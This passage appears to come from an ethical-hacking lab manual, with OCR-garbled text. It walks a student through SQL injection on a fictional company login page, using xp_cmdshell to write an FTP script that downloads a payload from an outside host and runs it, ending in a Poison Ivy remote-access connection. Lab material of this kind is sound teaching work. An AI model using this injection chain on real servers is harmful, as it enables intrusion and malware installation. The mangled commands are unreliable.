exec master..xp_cmdshell 'echo open 216.5.1.200>C:%inetpubhywwwroothdownload. Txt' ——
exec master..xp_cmdshell 'echo frpz>c:iinetpubwwwroothdownload. Txt' ——
exec master..xp_cmdshell

echo hax0rs>>ciinetpubswewr oot download. txt ' ——
Undo

C MasTer. . xpg 1 N2 TRET QU www 00T s Oowh [oad.
exeC MasTer.. u] EET 1EX€ are,. exex=C w1 NeTpuUD w00t Cutk
EEECIN

><p_cmsheﬂ ECh [ s downToad
exeC master..<p_cmdshne "echo MET PUD Wt 00T owhnload., Tt
4 4 ey

Figure 62: Copying a Line of Text

12. Right-click in the username field and select Paste. Click the Submit button.

Password

Figure 63: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

Figure 64: Inputting the Information into the Username Field

13. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

«p_cmdshell+echo+opent+216.5.1, 200 0% 34 inetpubwmwarootid

Figure 65: Returning to the Home Page
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14. Highlight the ninth line in the sql.txt file. Select edit, then Copy from the menu.

exec master..xp_cmdshell 'echo open 216.5.1.200>c:yinetpubiwwwroothdownload. Txt' —
exec master..xp_cmdshell 'echo ftps>cininetpubhwwwroothdownload. txt' —-
exec master..xp_cmdshell 'echo haxOrs><hvinetpubhwwwr oot download. txt ' —-

bin}}c:\inet-ub\wwwrpot\downjDad.txtf——

Undao

xp_cmdshell 'echo

master.
Z master
master..

Figure 66: Copying a Line of Text

15. Right-click in the username field and select Paste. Click the Submit button.

Tsernarme g = R

Figure 67: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

Figure 68: Inputting the Information into the Username Field

16. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

sAtinetpubbwmwrootid

| - 16.1.1.1}admin/login,asprusername='"+exec+master, op_cmdshel+echo+open+216.5.1, 200

B company
216,111

Figure 69: Returning to the Home Page
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17. Highlight the tenth line in the sql.txt file. Select edit, then Copy from the menu.

' exec master..xp_cmdshell 'echo open 216.5.1.200>C:N\inetpubwwwroothdownload. txt' —-
' exec master..xp_cmdshell 'echo ftps:c:\Jinetpubhwwwroothdownload. txt' —-
" exec master..xp_cmdshell 'echo haxOrzzc:SAnataobhwsasee oot desed ngd, Txt ' ——
Unda
echo binzzc: tat' —-
i Cuk oothdownload, txt ' ——

exec master..xp_cmdshell
exac master..xp_cmdshell 'echo get dex
master. . xp_omdshe . -

Figure 70: Copying a Line of Text

18. Right-click in the username field and select Paste. Click the submit button.

Figure 71: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

Figure 72: Inputting the Information into the Username Field

19. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

| - 16.1.1.1adminflogin.asprusername="+exec+masker, »p_crmdshell+'echo+open+216.5.1, 200=c%3alinetpub i oatid

B company

216.1.1.1

Figure 73: Returning to the Home Page
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20. Go to the Public IP address of XYZ Company by typing this URL in your browser:
http://216.1.1.1/download.txt

You should have the same 6 lines in the figure below. If not, go back to 3.1.

E2) Mozilla Firefox

Eil= Edit Wis Historyw EBookmarks

| | | http:fyz16.1.1.1 dovwnload. Ext

- [ [0 z16.1.1.1 downlaad. bt

——

open 21&6.5.1.200
fotp

haxOr

hin

get iexplore.exe
bhvye

Figure 74: The Created FTP file

21. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

| - 15.1.1. 1} adminglogin. aspfusername="+exec+master, . xp_cmdshell+'echo+open+216.5.1, 200

B Compar

216.1.1.1

Figure 75: Returning to the Home Page

22. Highlight the eleventh line in sql.txt. Select edit, then copy from the menu.

XeC master. . x S ne S i
< master..xp_CImdshe HE e Rl Uhda ——

Figure 76: Copying a Line of Text

23. Right-click in the username field and select paste. Click the Submit button.

XY Z Company Login

TTsermame |[Rpraoignin) e wittiellnt=Ts _tx‘t'—|

Figure 77: Inputting the Information into the Username Field
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You should see a web page with the response displayed in the figure below:

Figure 78: Inputting the Information into the Username Field

24. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1

| - 16.1.1.1adminflogin.asprusername="+exec+masker, »p_crmdshell+'echo+open+216.5.1, 200=c%3alinetpub i oatid

. Campa

216.1.1.1

Figure 79: Returning to the Home Page

25. Highlight the eleventh line in sql.txt. Select edit, then copy from the menu.

' exec master..xp_cmdshell 'frtp -s:cisvinetpubhywwwr oot download, tet ——
master. . xp_cmdshe = 2N T avn | Ore pws

2xac

Figure 80: Copying a Line of Text

26. Right-click in the username field and select paste. Click the submit button.

XY Z Company Login

TTzernarme | e el e o

Figure 81: Inputting the Information into the Username Field
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You should now have a Poison Ivy connection to the victim SQL server machine.

Poison Ivy - [Listening on Port: 443 (Connections: 1)] =10l =l
5f| Fil=  Preferences  Window Help ==l
! Cornections | Statisticsl Settingsl
[ I Wwii I LAk I Con. Tupe I Computer I Lzer Mame I Ao Type I 0s I CPU I RaM I “ersion I Ping I
i CEH 216111 19216..  Direct SERVER SYSTEM Adrnin Server?2.. 2395 MHz 102324 .. 231 47
‘ersion 2,32 |Nr. of Ports; 1 |Nr. of Flugins: 0 |Nr. of Connections; 1 v

Figure 82: A Poison lvy Connection to the Victim (Thanks to SQL Injection)

3.2 Conclusion

An attacker can use the stored procedure xp_cmd shell to run operating system
commands on a victim machine. This can include downloading and then executing
malware. Once the malware is launched through the SQL injection process, the attacker
can then shift to using a tool like Poison lvy Remote Administration Tool.

3.3 Discussion Questions
1. What does RAT stand for?
2. What protocol can be used to download files with the xp_cmd shell?
3. Whatis included in the FTP answer file called download.txt?
4. What mechanism could be used on SQL servers to help lock them down?
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